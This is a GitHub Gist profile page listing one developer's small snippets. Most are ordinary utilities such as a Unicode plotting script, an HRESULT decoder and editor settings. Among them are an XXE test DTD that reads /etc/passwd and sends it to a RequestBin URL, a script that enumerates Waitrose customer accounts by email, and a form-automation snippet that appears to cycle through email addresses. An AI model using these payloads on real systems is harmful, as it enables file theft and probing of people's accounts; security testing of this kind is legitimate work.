Skip to content

Instantly share code, notes, and snippets.

View drewsberry's full-sized avatar

Drew - Account Moved drewsberry

View GitHub Profile
@drewsberry
drewsberry / plot_unicode_history.py
Last active December 27, 2018 13:54
Python script for plotting how many codepoints each Unicode version has assigned
from datetime import date
import numpy as np
import matplotlib
import matplotlib.pyplot as plt
data = [
# (version number, date, number of codepoints assigned)
("1.0.0", date(1991, 10, 1), 7161, ( 5 , 0)),
("1.0.1", date(1992, 6, 1), 28359, ( 5 , -8)),
@drewsberry
drewsberry / hresult-analyser.js
Created July 24, 2017 15:16
Analyse HRESULT 32-bit code for what it means in a human readable format.
const facilities = [
{
code: 0,
name: "FACILITY_NULL",
description: "The default facility code.",
},
{
code: 1,
name: "FACILITY_RPC",
description: "The source of the error code is an RPC subsystem.",
@drewsberry
drewsberry / xxe.dtd
Created April 11, 2017 17:45
XML Document Type Definition for testing for XXE (replace RequestBin URl with your own).
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://requestb.in/1fjht231?%data;'>">
@drewsberry
drewsberry / vscode-settings.json
Created March 16, 2017 14:50
My Visual Studio Code settings
{
"files.associations": {
"*.cfg": "plaintext"
},
"window.zoomLevel": 0,
"editor.renderWhitespace": "boundary",
"files.trimTrailingWhitespace": true,
"eslint.enable": true,
"eslint.run": "onType",
"files.insertFinalNewline": true,
@drewsberry
drewsberry / waitrose_account_enumeration.py
Last active February 9, 2017 12:35
Waitrose website expose a nice JSON API for account enumeration. This script utilises this endpoint to find out whether an input email address has an account with Waitrose.
import click
import requests
def has_waitrose_account(email_address):
""" Checks whether use with input email address has a Waitrose
account. """
enum_endpoint = "https://www.waitrose.com/shop/" + \
"LogonIdLookupCmd?_method=GET&" + \
@drewsberry
drewsberry / fix-wifi
Created January 4, 2017 22:04
Fix WiFi problems that sometimes happen on Ubuntu.
#!/bin/bash
if [[ $UID -ne 0 ]]; then
sudo "$0"
exit
fi
echo "Stopping network manager..."
service network-manager stop
echo "Done."
@drewsberry
drewsberry / js-set-referrer.js
Created December 20, 2016 18:28
Set referrer header in JS.
// See https://stackoverflow.com/a/23434948
function setReferrerHeader(referrerName) {
Object.defineProperty(document, "referrer", {
get: function () { return referrerName; },
});
}
@drewsberry
drewsberry / sign
Created November 10, 2016 22:05
Use keybase command line utility to sign a file and detach the signature into a .sig file.
#!/bin/sh
usage() {
echo "sign INPUT_FILE"
}
keybase_not_found() {
echo >&2 "Keybase command line utilities must be installed to sign files."
exit 1
}
setTimeout(function() {
var $textInput = $('input[name="ctl00$cphBody$txtEmailAddressEnter"]');
var $submitButton = $('input[name="ctl00$cphBody$btnNext"]');
var $wheel = $('#wheel');
if ($textInput.length !== 0) {
var currentEmail = $textInput.val();
var currentNumber = Number(currentEmail.match(/[\d]+/)[0]);
@drewsberry
drewsberry / keybase.md
Created November 30, 2015 09:03
Keybase identity proof

Keybase proof

I hereby claim:

  • I am drewsberry on github.
  • I am drewsberry (https://keybase.io/drewsberry) on keybase.
  • I have a public key whose fingerprint is 32AE 9006 2229 F440 8D5A 3716 F68B AB3B 4A08 2356

To claim this, I am signing this object: